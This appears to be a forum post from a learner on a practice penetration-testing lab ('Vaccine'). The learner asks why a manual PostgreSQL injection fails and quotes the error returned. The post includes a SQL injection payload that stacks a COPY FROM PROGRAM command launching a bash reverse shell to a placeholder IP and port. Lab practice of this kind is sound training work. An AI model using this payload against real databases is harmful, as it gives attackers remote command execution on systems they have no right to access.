Vaccine Starting Point OSCP

Hi, I’m trying to do the Vaccine machine without SQLMap. I found some methods but I get an error and i don’t know what is the reason. I use the COPY FROM PROGRAM method by postgresql. Someone else have used this method? Thanks!

The command that I send is: a’; COPY cmd_exec FROM PROGRAM ‘bash -c “bash -i >& /dev/tcp/my_ip/port 0>&1”’; – And the error that I get is: ERROR: program "bash -c “bash -i >%” failed DETAIL: child process exited with exit code 2